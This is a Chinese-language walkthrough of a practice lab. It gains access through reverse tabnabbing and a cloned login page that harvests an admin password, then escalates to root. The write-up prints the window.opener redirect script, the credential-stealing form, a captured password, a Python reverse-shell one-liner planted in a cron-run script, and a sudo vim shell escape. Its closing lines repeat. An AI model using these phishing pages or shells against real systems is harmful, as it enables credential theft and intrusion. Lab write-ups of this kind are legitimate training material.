这个靶场主要是利用了钓鱼的方式获取到了主机权限。然后进行提权至root
信息收集
目标探测
arp-scan -I eth0 -l
根据显示的信息筛选得到目标
靶机IP:192.168.0.180
本机IP:192.168.0.187
资产扫描
nmap -sV -Pn -sT -sC 192.168.0.180
分析发现了,一个ssh服务 一个http服务,ssh服务需要账号密码,暂且先放一放
分析http服务
登陆后的界面如下:
这里提示可以提供一个url,那就填一个url看会有什么效果
看到了相关的安全问题target="_blank"
且没有用rel="noopener noreferrer nofollow"
作为安全的修补。
如果这里的url给到一个包含钓鱼页面的地址,那么当管理员点击这个地址审查的时候,就会触发原网页跳转,如果管理员没有注意到原网页的跳转,误以为登陆超时重新输入了密码,那么就实现了管理员账号密码的窃取。(通俗点讲:管理员在a页面点击了b链接,那么浏览器会打开一个新的标签页显示b链接的网页,而b链接的网页中如果包含有类似这样的恶意代码window.opener.parent.location.replace('http://baidu.com')
那么a页面就会跳转到恶意代码中指定的地址,此时构造一个该网站登陆页面的钓鱼页面,当管理员输入账号密码的时候,远端就可以监控到输入的信息。)
由于不是真实环境,暂且不做的那么逼真和完善
钓鱼–意外的小插曲
在本地创建一个包含恶意代码的网页,网页代码如下 文件名字为aa.html
<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://192.168.0.187/index.html');
if (window.parent != window) window.parent.location.replace('http://192.168.0.187/index.html');
</script>
</html>
在构建一个和登陆页面一样的网页(只需要将源网页的html代码复制即可),并把表单数据指向本地,注意第18行,当管理员提交数据的时候会发送到本地的7788端口,文件名字为index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body{ font: 14px sans-serif; }
.wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
dsafasdfasfas
<form action="http://192.168.0.187:7788/index.php" method="post">
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control " value="">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<label>Password</label>
<input type="password" name="password" class="form-control ">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="Login">
</div>
<p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
</form>
</div>
</body>
</html>
将这两个网页放在一个文件夹中,并在该文件夹,使用python开启http服务
python -m http.server 80
此时输入 http://192.168.0.187/aa.html并点击提交
开启nc监听本地7788端口
本该在nc上接收到的账号密码,却没有等到,发现python开启的http服务中有这样几个数据包
其中有一个post请求,但是不是指向,我们预想的地址,而是指向了index.html这个文件,这是我们在aa.html中指向的地址,那既然这样我们就看看他到底发送了什么。
钓鱼–最终的结果
更改aa.html文件内容为
<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://192.168.0.187:7788');
if (window.parent != window) window.parent.location.replace('http://192.168.0.187:7788');
</script>
</html>
本地依旧监听7788端口 ,然后提交http://192.168.0.187/aa.html 看结果
耐心等待了一会后确实收到了post数据
权限提升
使用这个账号密码登陆网页是登陆不上去的。
但是信息收集的时候发现了有ssh服务,用这个账号密码进行登陆(这里的密码是url格式的需要解码)解码后就是C@ughtm3napping123
可以登陆成功
简单的信息收集一下
发现这个用户是没有什么权限的,拥有权限的只有这么一个文件
这个py文件是用来写文件的,每隔两分钟就会向site_status.txt中写入一条日志说明是一个计时任务,那么修改这个文件,执行一个反弹shell的后门,那么应该就可以将权限提升到创建任务的用户了。
修改文件内容为
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.187",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
在本地监听 nc 监听7788端口
权限已经移动到了adrian用户。
查看用户权限,发现可以以root权限执行vim
执行sudo /usr/bin/vim -c ':!/bin/sh'
即可获得root权限
权限已经移动到了adrian用户。
查看用户权限,发现可以以root权限执行vim
执行sudo /usr/bin/vim -c ':!/bin/sh'
即可获得root权限